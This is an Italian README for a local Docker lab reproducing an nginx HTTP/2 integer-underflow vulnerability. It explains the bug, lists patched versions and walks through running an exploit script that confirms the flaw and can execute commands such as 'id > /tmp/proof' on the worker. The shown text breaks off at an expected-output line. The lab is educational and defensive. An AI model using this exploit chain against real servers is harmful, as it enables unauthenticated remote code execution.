Lab locale per CVE-2026-123007 (integer underflow in HTTP/2 di nginx): container Docker vulnerabile + proof-of-concept

Solo per uso didattico. Questo repository è un laboratorio locale e autonomo per imparare come funziona il bug. Non eseguirlo contro sistemi di cui non sei proprietario o per i quali non hai un'autorizzazione scritta ai test.
Un grave bug di controllo di flusso in nginx HTTP/2 può consentire a un client non autenticato di corrompere la memoria del worker e, in condizioni specifiche, di eseguire codice. Questo laboratorio esegue la reale immagine nginx vulnerabile e include un piccolo PoC che dimostra la causa principale sulla tua macchina.
Il resoconto completo — come funziona l'errore di contabilità, perché richiede 128 GB di traffico e cosa ha cambiato la correzione — è in article.md.
| Voce | Dettaglio |
|---|---|
| CVE | CVE-2026-123007 |
| Tipo | Integer underflow (CWE-191) |
| CVSS v4 | 9.2 Critico (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) |
| Componente | Controllo di flusso delle risposte HTTP/2 di nginx |
| Impatto | Divulgazione di memoria, crash del worker, esecuzione di codice come worker nginx |
| Vettore di attacco | Remoto, non autenticato, singola connessione HTTP/2 |
| Divulgato | 18 novembre 2026 (Rapid7 / F5) |
| Credito | Stephen Fewer, Rapid7 |
Il controllo di flusso HTTP/2 dà al client il controllo su quanti dati di risposta nginx può inviare. nginx tiene traccia di due contatori: uno per ogni stream e uno per la connessione (h2c->send_window, un size_t senza segno).
SETTINGS_INITIAL_WINDOW_SIZE può chiudere stream con credito eccessivo lasciando viva la connessione, così la finestra della connessione finisce sopra 2^31-1.WINDOW_UPDATE calcola MAX - h2c->send_window. Poiché il contatore è sopra MAX, la sottrazione senza segno va in underflow a un valore enorme, quindi il controllo passa e il client può spingere la finestra verso 2^64.off_t con segno. Diventa negativa, nginx crea un buffer di output invertito (last < pos) e il percorso di output TLS passa la lunghezza negativa a memcpy come un enorme size_t. Il risultato è una lettura/scrittura fuori dai limiti: prima divulgazione di dati, poi una sovrascrittura controllata di una callback di pulizia del pool di richieste che può eseguire system() nel worker.Inviare una richiesta corrotta non è sufficiente da solo. Lo sfruttamento pratico richiede accesso diretto TCP/TLS (così il backpressure funziona), un heap del worker fresco, circa 119 GiB di traffico in chiaro e una build glibc x86-64 il cui memcpy selezionato a runtime usi il percorso EVEX/YMM (avx512f + avx512vl).
Sono disponibili versioni corrette:
| Prodotto | Vulnerabile | Corretto |
|---|---|---|
| nginx Open Source | 1.31.0 – 1.31.8 | 1.31.9 |
| nginx Open Source | 1.9.5 – 1.30.6 | 1.30.7 |
| NGINX Plus | 37.1.0 – 37.2.0.1 | 37.3.0.1 |
| NGINX Plus | 37.0.0 – 37.0.7.1 | 37.0.8.1 |
| NGINX Plus | R34 – R36 | Nessuna correzione |
Cronologia: Rapid7 ha contattato F5 l'11 novembre 2026; F5 ha confermato il problema e assegnato il CVE; la divulgazione coordinata è avvenuta il 18 novembre 2026. Se esegui nginx con http2 on, aggiorna. Disabilitare HTTP/2 rimuove la superficie di attacco finché non puoi applicare la patch.
.
├── docker/
│ ├── Dockerfile # pinned vulnerable image, nginx 1.31.8
│ ├── docker-compose.yml # publishes 127.0.0.1:19443
│ ├── entrypoint.sh # creates a self-signed certificate
│ └── nginx.conf # TLS + http2 on
├── engine/ # published RCE chain (Rapid7 PoC, credited below)
│ ├── nginx_rce/ # protocol, heap layout, reclaim, dispatch
│ ├── profiles/ # calibrated nginx 1.31.8 target profile
│ ├── streamer.c # native bulk-traffic helper
│ └── requirements.txt
├── exploit.py # entry point: check, crash, or run a command
├── assets/
│ └── underflow.gif # animated diagram for section 4
├── article.md # full write-up of the bug and the lab
├── cover.png # article cover
├── cover.svg # vector source for the cover
└── README.md
cryptography per l'esecuzione dei comandi:
pip install -r engine/requirements.txtgcc, libssl-dev) per compilare engine/streamercurl con supporto HTTP/2 (opzionale, per verifiche manuali)Avviare il server vulnerabile:
cd docker
docker compose up -d --build
Verifica che stia servendo la pagina standard da 896 byte tramite HTTP/2:
curl -sk --http2 -o /dev/null -w '%{http_version} %{http_code} %{size_download}\n' \
https://127.0.0.1:19443/index.html
Expected:
2 200 896
Esegui il controllo rapido:
cd ..
python3 exploit.py --target https://127.0.0.1:19443/
Expected output:
[*] target : https://127.0.0.1:19443/
[*] server : nginx/1.31.8
[*] index.html : 896 bytes
[*] tls : TLSv1.3 alpn=h2
[*] building TLS record boundary: 262144 KeyUpdate records
[+] over-credit : stream cleanup restored credit above 2^31-1
[+] underflow : next WINDOW_UPDATE passed the unsigned guard
[+] status : CVE-2026-123007 confirmed
L'operazione richiede circa 45 secondi e invia solo pochi megabyte. È sicuro ripeterla; riavvia il container tra un tentativo e l'altro se desideri un worker nuovo:
docker restart cve-2026-123007
SETTINGS.FLOW_CONTROL_ERROR (RST_STREAM) invece di terminare la connessione, e la pulizia rimborsa i loro byte riservati, lasciando la finestra di connessione sopra 2^31-1.WINDOW_UPDATE viene comunque accettato, e un PING inviato in seguito riceve riscontro. Questo è l'underflow: la protezione MAX - send_window è andata in wrap-around.Un nginx con patch fallisce questo controllo, perché l'invariante della finestra di connessione viene ripristinata prima che gli stream vengano chiusi. Risultati verificati:
| Immagine target | Output |
|---|---|
nginx:1.31.8 (vulnerabile) | [+] status : CVE-2026-123007 confirmed |
nginx:1.31.9 (corretto) | [-] error : over-credited streams were not reset: {} |
La catena completa di esecuzione dei comandi è inclusa in engine/. Installare una volta i suoi due prerequisiti:
pip install -r engine/requirements.txt
sudo apt install gcc libssl-dev
Riavvia il container in modo che l'heap del worker sia pulito, poi passa --cmd:
docker restart cve-2026-123007
python3 exploit.py --target https://127.0.0.1:19443/ --cmd 'id > /tmp/proof'
docker exec cve-2026-123007 cat /tmp/proof
Expected output: